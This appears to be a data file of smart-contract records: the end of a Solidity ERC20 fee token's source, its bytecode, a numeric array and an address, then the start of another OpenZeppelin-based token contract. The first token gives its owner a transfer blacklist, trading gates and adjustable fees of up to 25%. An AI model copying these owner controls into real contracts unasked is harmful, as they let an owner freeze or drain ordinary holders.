0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103855760003560e01c806392136913116101d1578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a4c578063f2fde38b14610a62578063f637434214610a82578063f8b45b0514610a9857600080fd5b8063d85ba063146109c5578063dd62ed3e146109db578063e2f4560514610a21578063e884f26014610a3757600080fd5b8063c18bc195116100dc578063c18bc19514610955578063c876d0b914610975578063c8c8ebe41461098f578063d257b34f146109a557600080fd5b8063b62496f5146108e6578063bbc0c74214610916578063c02466681461093557600080fd5b8063a0d82dc51161016f578063a4d15b6411610149578063a4d15b641461086f578063a7fc9e2114610890578063a9059cbb146108a6578063aacebbe3146108c657600080fd5b8063a0d82dc514610819578063a26577781461082f578063a457c2d71461084f57600080fd5b80639a7a23d6116101ab5780639a7a23d6146107ad5780639c3b4fdc146107cd5780639c63e6b9146107e35780639fccce321461080357600080fd5b80639213691314610762578063924de9b71461077857806395d89b411461079857600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610aae565b6040516103b39190612afe565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612b6b565b610b40565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612b97565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612b97565b610b57565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612bb4565b610be7565b34801561050057600080fd5b506104a661050f366004612bcd565b610cc4565b34801561052057600080fd5b506103dc61052f366004612c10565b610d7e565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612c61565b610de7565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612b6b565b610e3c565b3480156105b257600080fd5b5061044f7f000000000000000000000000553276ec0725cb13e13779a51e6d0803000384f481565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612b97565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612b97565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610e72565b3480156106d057600080fd5b506103dc610ee6565b3480156106e557600080fd5b506104a66106f4366004612c61565b610f23565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612c96565b610f77565b34801561073b57600080fd5b506104a661101f565b34801561075057600080fd5b506005546001600160a01b031661044f565b34801561076e57600080fd5b5061047860155481565b34801561078457600080fd5b506104a6610793366004612cc2565b611060565b3480156107a457600080fd5b506103a66110a6565b3480156107b957600080fd5b506104a66107c8366004612c61565b6110b5565b3480156107d957600080fd5b5061047860135481565b3480156107ef57600080fd5b506104a66107fe366004612d29565b611195565b34801561080f57600080fd5b50610478601d5481565b34801561082557600080fd5b5061047860175481565b34801561083b57600080fd5b506104a661084a366004612cc2565b611267565b34801561085b57600080fd5b506103dc61086a366004612b6b565b6112af565b34801561087b57600080fd5b50600b546103dc906301000000900460ff1681565b34801561089c57600080fd5b50610478601a5481565b3480156108b257600080fd5b506103dc6108c1366004612b6b565b6112fe565b3480156108d257600080fd5b506104a66108e1366004612b97565b61130b565b3480156108f257600080fd5b506103dc610901366004612b97565b60216020526000908152604090205460ff1681565b34801561092257600080fd5b50600b546103dc90610100900460ff1681565b34801561094157600080fd5b506104a6610950366004612c61565b611392565b34801561096157600080fd5b506104a6610970366004612bb4565b61141b565b34801561098157600080fd5b50600f546103dc9060ff1681565b34801561099b57600080fd5b5061047860085481565b3480156109b157600080fd5b506103dc6109c0366004612bb4565b6114ec565b3480156109d157600080fd5b5061047860105481565b3480156109e757600080fd5b506104786109f6366004612d95565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b5061047860095481565b348015610a4357600080fd5b506103dc611643565b348015610a5857600080fd5b5061047860125481565b348015610a6e57600080fd5b506104a6610a7d366004612b97565b611680565b348015610a8e57600080fd5b5061047860165481565b348015610aa457600080fd5b50610478600a5481565b606060038054610abd90612dce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612dce565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b6000610b4d3384846117d1565b5060015b92915050565b6005546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190612e09565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610b8190612e09565b670de0b6b3a76400006103e8610c2660025490565b610c31906001612e54565b610c3b9190612e73565b610c459190612e73565b811015610cac5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b81565b610cbe81670de0b6b3a7640000612e54565b60085550565b6005546001600160a01b03163314610cee5760405162461bcd60e51b8152600401610b8190612e09565b60158690556016859055601784905560188390556019829055601a81905583610d178688612e95565b610d219190612e95565b601481905560191015610d765760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b81565b505050505050565b6000610d8b8484846118f6565b610ddd8433610dd885604051806060016040528060288152602001613153602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919061234d565b6117d1565b5060019392505050565b6005546001600160a01b03163314610e115760405162461bcd60e51b8152600401610b8190612e09565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b4d918590610dd8908661176b565b6005546001600160a01b03163314610e9c5760405162461bcd60e51b8152600401610b8190612e09565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f135760405162461bcd60e51b8152600401610b8190612e09565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610b8190612e09565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fa15760405162461bcd60e51b8152600401610b8190612e09565b60118390556012829055601381905580610fbb8385612e95565b610fc59190612e95565b60108190556014101561101a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b81565b505050565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610b8190612e09565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b0316331461108a5760405162461bcd60e51b8152600401610b8190612e09565b600b8054911515620100000262ff000019909216919091179055565b606060048054610abd90612dce565b6005546001600160a01b031633146110df5760405162461bcd60e51b8152600401610b8190612e09565b7f000000000000000000000000553276ec0725cb13e13779a51e6d0803000384f46001600160a01b0316826001600160a01b031614156111875760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b81565b6111918282612387565b5050565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610b8190612e09565b6111e86111d46005546001600160a01b031690565b6005546001600160a01b03166002546117d1565b60005b838110156112605761124d3386868481811061120957611209612ead565b905060200201602081019061121e9190612b97565b61122a6012600a612fa7565b86868681811061123c5761123c612ead565b9050602002013561052f9190612e54565b508061125881612fb6565b9150506111eb565b5050505050565b6005546001600160a01b031633146112915760405162461bcd60e51b8152600401610b8190612e09565b600b805491151563010000000263ff00000019909216919091179055565b6000610b4d3384610dd88560405180606001604052806025815260200161317b602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919061234d565b6000610b4d3384846118f6565b6005546001600160a01b031633146113355760405162461bcd60e51b8152600401610b8190612e09565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113bc5760405162461bcd60e51b8152600401610b8190612e09565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114455760405162461bcd60e51b8152600401610b8190612e09565b670de0b6b3a76400006103e861145a60025490565b611465906005612e54565b61146f9190612e73565b6114799190612e73565b8110156114d45760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b81565b6114e681670de0b6b3a7640000612e54565b600a5550565b6005546000906001600160a01b031633146115195760405162461bcd60e51b8152600401610b8190612e09565b620186a061152660025490565b611531906001612e54565b61153b9190612e73565b8210156115a85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b81565b6103e86115b460025490565b6115bf906005612e54565b6115c99190612e73565b8211156116355760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b81565b50600981905560015b919050565b6005546000906001600160a01b031633146116705760405162461bcd60e51b8152600401610b8190612e09565b50600f805460ff19169055600190565b6005546001600160a01b031633146116aa5760405162461bcd60e51b8152600401610b8190612e09565b6001600160a01b03811661170f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117788385612e95565b9050838110156117ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b9392505050565b6001600160a01b0383166118335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b0382166118945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661191c5760405162461bcd60e51b8152600401610b8190612fd1565b6001600160a01b0382166119425760405162461bcd60e51b8152600401610b8190613016565b6001600160a01b0382166000908152600e602052604090205460ff1615801561198457506001600160a01b0383166000908152600e602052604090205460ff16155b6119ea5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b81565b806119fb5761101a838360006123db565b600b5460ff1615611eb5576005546001600160a01b03848116911614801590611a3257506005546001600160a01b03838116911614155b8015611a4657506001600160a01b03821615155b8015611a5d57506001600160a01b03821661dead14155b8015611a735750600554600160a01b900460ff16155b15611eb557600b54610100900460ff16611b0b576001600160a01b0383166000908152601f602052604090205460ff1680611ac657506001600160a01b0382166000908152601f602052604090205460ff165b611b0b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b81565b600f5460ff1615611c52576005546001600160a01b03838116911614801590611b6657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ba457507f000000000000000000000000553276ec0725cb13e13779a51e6d0803000384f46001600160a01b0316826001600160a01b031614155b15611c5257326000908152600c60205260409020544311611c3f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b81565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611c9257506001600160a01b038216600090815260208052604090205460ff16155b15611d7657600854811115611d075760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b81565b600a546001600160a01b038316600090815260208190526040902054611d2d9083612e95565b1115611d715760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b611eb5565b6001600160a01b03821660009081526021602052604090205460ff168015611db657506001600160a01b038316600090815260208052604090205460ff16155b15611e2c57600854811115611d715760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b81565b6001600160a01b038216600090815260208052604090205460ff16611eb557600a546001600160a01b038316600090815260208190526040902054611e719083612e95565b1115611eb55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b7f000000000000000000000000553276ec0725cb13e13779a51e6d0803000384f46001600160a01b0390811690841614801581611efb5750600b546301000000900460ff165b15611fa1576001600160a01b0384166000908152600d602052604090205415801590611f4d57506001600160a01b0384166000908152600d60205260409020544290611f4a9062015180612e95565b10155b15611f865760185460168190556019546015819055601a54601781905591611f7491612e95565b611f7e9190612e95565b601455612017565b600260168190556003601581905560175491611f7491612e95565b6001600160a01b0383166000908152600d6020526040902054611fda576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166120175760036016819055601581905560016017819055906120099080612e95565b6120139190612e95565b6014555b30600090815260208190526040902054600954811080159081906120435750600b5462010000900460ff165b80156120595750600554600160a01b900460ff16155b801561207e57506001600160a01b03861660009081526021602052604090205460ff16155b80156120a357506001600160a01b0386166000908152601f602052604090205460ff16155b80156120c857506001600160a01b0385166000908152601f602052604090205460ff16155b156120f6576005805460ff60a01b1916600160a01b1790556120e86124e4565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a01b90920482161591168061214457506001600160a01b0386166000908152601f602052604090205460ff165b1561214d575060005b60008115612338576001600160a01b03871660009081526021602052604090205460ff16801561217f57506000601454115b1561223d576121a4606461219e6014548961271e90919063ffffffff16565b9061279d565b9050601454601654826121b79190612e54565b6121c19190612e73565b601c60008282546121d29190612e95565b90915550506014546017546121e79083612e54565b6121f19190612e73565b601d60008282546122029190612e95565b90915550506014546015546122179083612e54565b6122219190612e73565b601b60008282546122329190612e95565b9091555061231a9050565b6001600160a01b03881660009081526021602052604090205460ff16801561226757506000601054115b1561231a57612286606461219e6010548961271e90919063ffffffff16565b9050601054601254826122999190612e54565b6122a39190612e73565b601c60008282546122b49190612e95565b90915550506010546013546122c99083612e54565b6122d39190612e73565b601d60008282546122e49190612e95565b90915550506010546011546122f99083612e54565b6123039190612e73565b601b60008282546123149190612e95565b90915550505b801561232b5761232b8830836123db565b6123358187613059565b95505b6123438888886123db565b5050505050505050565b600081848411156123715760405162461bcd60e51b8152600401610b819190612afe565b50600061237e8486613059565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166124015760405162461bcd60e51b8152600401610b8190612fd1565b6001600160a01b0382166124275760405162461bcd60e51b8152600401610b8190613016565b6124648160405180606001604052806026815260200161312d602691396001600160a01b038616600090815260208190526040902054919061234d565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612493908261176b565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016118e9565b3060009081526020819052604081205490506000601d54601b54601c5461250b9190612e95565b6125159190612e95565b90506000821580612524575081155b1561252e57505050565b60095461253c906014612e54565b83111561255457600954612551906014612e54565b92505b6000600283601c54866125679190612e54565b6125719190612e73565b61257b9190612e73565b9050600061258985836127df565b90504761259582612821565b60006125a147836127df565b905060006125be8761219e601b548561271e90919063ffffffff16565b905060006125db8861219e601d548661271e90919063ffffffff16565b90506000816125ea8486613059565b6125f49190613059565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612651576040519150601f19603f3d011682016040523d82523d6000602084013e612656565b606091505b5090985050861580159061266a5750600081115b156126bd5761267987826129e8565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d806000811461270a576040519150601f19603f3d011682016040523d82523d6000602084013e61270f565b606091505b50505050505050505050505050565b60008261272d57506000610b51565b60006127398385612e54565b9050826127468583612e73565b146117ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b60006117ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad0565b60006117ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061234d565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061285657612856612ead565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156128cf57600080fd5b505afa1580156128e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129079190613070565b8160018151811061291a5761291a612ead565b60200260200101906001600160a01b031690816001600160a01b031681525050612965307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906129ba90859060009086903090429060040161308d565b600060405180830381600087803b1580156129d457600080fd5b505af1158015610d76573d6000803e3d6000fd5b612a13307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612a9757600080fd5b505af1158015612aab573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061126091906130fe565b60008183612af15760405162461bcd60e51b8152600401610b819190612afe565b50600061237e8486612e73565b600060208083528351808285015260005b81811015612b2b57858101830151858201604001528201612b0f565b81811115612b3d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612b6857600080fd5b50565b60008060408385031215612b7e57600080fd5b8235612b8981612b53565b946020939093013593505050565b600060208284031215612ba957600080fd5b81356117ca81612b53565b600060208284031215612bc657600080fd5b5035919050565b60008060008060008060c08789031215612be657600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612c2557600080fd5b8335612c3081612b53565b92506020840135612c4081612b53565b929592945050506040919091013590565b8035801515811461163e57600080fd5b60008060408385031215612c7457600080fd5b8235612c7f81612b53565b9150612c8d60208401612c51565b90509250929050565b600080600060608486031215612cab57600080fd5b505081359360208301359350604090920135919050565b600060208284031215612cd457600080fd5b6117ca82612c51565b60008083601f840112612cef57600080fd5b50813567ffffffffffffffff811115612d0757600080fd5b6020830191508360208260051b8501011115612d2257600080fd5b9250929050565b60008060008060408587031215612d3f57600080fd5b843567ffffffffffffffff80821115612d5757600080fd5b612d6388838901612cdd565b90965094506020870135915080821115612d7c57600080fd5b50612d8987828801612cdd565b95989497509550505050565b60008060408385031215612da857600080fd5b8235612db381612b53565b91506020830135612dc381612b53565b809150509250929050565b600181811c90821680612de257607f821691505b60208210811415612e0357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612e6e57612e6e612e3e565b500290565b600082612e9057634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612ea857612ea8612e3e565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b80851115612efe578160001904821115612ee457612ee4612e3e565b80851615612ef157918102915b93841c9390800290612ec8565b509250929050565b600082612f1557506001610b51565b81612f2257506000610b51565b8160018114612f385760028114612f4257612f5e565b6001915050610b51565b60ff841115612f5357612f53612e3e565b50506001821b610b51565b5060208310610133831016604e8410600b8410161715612f81575081810a610b51565b612f8b8383612ec3565b8060001904821115612f9f57612f9f612e3e565b029392505050565b60006117ca60ff841683612f06565b6000600019821415612fca57612fca612e3e565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561306b5761306b612e3e565b500390565b60006020828403121561308257600080fd5b81516117ca81612b53565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130dd5784516001600160a01b0316835293830193918301916001016130b8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561311357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220df92ac789258741f2cc82455a4c9326bb14e9f2f73d61e2d3777c9637072277b64736f6c63430008090033
[ 21, 4, 7, 13, 5 ]
0xf3AFDC2525568Ffe743801C8C54bdeA1704c9adb
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual 